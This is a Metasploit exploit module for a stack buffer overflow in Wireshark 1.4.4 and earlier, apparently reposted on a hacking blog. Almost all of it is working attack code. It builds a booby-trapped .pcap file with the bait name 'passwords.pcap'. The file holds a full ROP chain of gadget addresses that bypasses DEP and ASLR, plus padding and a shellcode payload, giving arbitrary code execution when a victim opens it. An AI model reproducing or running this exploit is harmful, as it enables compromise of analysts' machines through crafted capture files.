_Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow

##

# $Id: wireshark_packet_dect.rb 12364 2011-04-19 07:53:58Z sinn3r $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow',

'Description'    => %q{

This module exploits a stack buffer overflow in Wireshark <= 1.4.4

When opening a malicious .pcap file in Wireshark, a stack buffer occurs,

resulting in arbitrary code execution.

This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.

},

'License'        => MSF_LICENSE,

'Author'         =>

[

'sickness',     #found the vulnerabilitiy

'corelanc0d3r'  #rop exploit + msf module

],

'Version'        => '$Revision: 12364 $',

'References'     =>

[

[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],

[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],

[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

},

'Payload'        =>

{

'Space'       => 936,

'DisableNops' => 'True',

},

'Platform'       => 'win',

'Targets'        =>

[

[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',

{

'OffSet' => 1243,

'Ret'    => 0x667c484d, #libgnutl pivot - tx Lincoln

}

],

],

'Privileged'     => false,

'DisclosureDate' => 'Apr 18 2011',

'DefaultTarget'  => 0))

register_options(

[

OptString.new('FILENAME', [ true, 'pcap file',  'passwords.pcap']),

], self.class)

end

def junk

return rand_text(4).unpack("L")[0].to_i

end

def exploit

print_status("Creating '#{datastore['FILENAME']}' file ...")

global_header = "\xd4\xc3\xb2\xa1"      # magic_number

global_header << "\x02\x00"             # major version

global_header << "\x04\x00"             # minor version

global_header << "\x00\x00\x00\x00"     # GMT to local correction

global_header << "\x00\x00\x00\x00"     # accuracy

global_header << "\xff\x7f\x00\x00"     # snaplen

global_header << "\x01\x00\x00\x00"     # data link type

packet_header = "\x26\x32\xac\x4d"      #timestamp seconds

packet_header << "\xda\xfa\x00\x08"     #timestamp microseconds

packet_header << "\x04\x06\x00\x00"     #nr of octets of packet in file

packet_header << "\x04\x06\x00\x00"     #actual size of packet (1540)

ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"

print_status("Preparing payload")

pivot = [target.ret].pack('V')

# pvefindaddr rop 'n roll

# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below

rop_pivot =

[

0x618d7d0e,     # RET

0x618d7d0e,     # RET

0x618d7d0e,     # RET

0x64f9d5ec,     # ADD ESP,0C # RET - libfontconfig-1.dll

0x618d7d0e,     # RET <- don't count on this one !

0x618d7d0e,     # RET

0x618d7d0e,     # RET

0x618d7d0e,     # RET

0x61C14268,     # ADD ESP,24 # RETN - freetype6.dll

0xFFFFFFFF,     # crash baby !

0xFFFFFFFF,

0xFFFFFFFF,

0xFFFFFFFF,

0xFFFFFFFF,

0x618d7d0e,

0x618d7d0e,

0x618d7d0e,

0x618d7d0e,

].pack("V*")

rop_gadgets =

[

0x6d7155cb,     # PUSH ESP # POP EBX # POP EBP # RETN  **[libpangoft2-1.0-0.dll]

junk,

0x6d596e31,     # MOV EAX,EBX # POP EBX # POP EBP # RETN  **[libgio-2.0-0.dll]

junk,

junk,

0x61c14552,     # POP EBX # RETN    ** [freetype6.dll]

0x00000800,     # size - 0x800 should be more than enough

0x61c14043,     # POP ESI # RETN    ** [freetype6.dll]

0x0000009C,

0x6d58321a,     # ADD EAX,ESI # POP ESI # POP EBP # RETN    **[libgio-2.0-0.dll]

junk,

junk,

0x68610a27,     # XCHG EAX,EBP # RETN    ** [libglib-2.0-0.dll]

0x629445a6,     # POP EAX # RETN    ** [libatk-1.0-0.dll]

0x62d9027c,     #

0x6c385913,     # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN  ** [libgdk-win32-2.0-0.dll]

0x617bc526,     # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN    ** [libgtk-win32-2.0-0.dll]

0x64f8c692,     # POP EDX # RETN    ** [libfontconfig-1.dll]

0x00000040,     #

0x619638db,     # POP ECX # RETN    ** [libgtk-win32-2.0-0.dll]

0x6536B010,     # RW

0x618d7d0d,     # POP EDI # RETN    ** [libgtk-win32-2.0-0.dll]

0x618d7d0e,     # RET

0x64fa0c15,     # POP EAX # RETN    ** [libfontconfig-1.dll]

0x618d7d0e,     # RET

0x61963fdb,     # PUSHAD # RETN     ** [libgtk-win32-2.0-0.dll]

].pack("V*")

pivot = [target.ret].pack('V')

buffer = rand_text(131)

buffer << rop_pivot

buffer << rop_gadgets

nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))

buffer << nops

buffer << payload.encoded

buffer << pivot

filler = 1540 - buffer.length

buffer << rand_text(filler)

filecontent = global_header

filecontent << packet_header

filecontent << ptype

filecontent << buffer

print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")

file_create(filecontent)

end

end

Chú Ý:

Coppy phải ghi rõ nguồn Blog - Hacking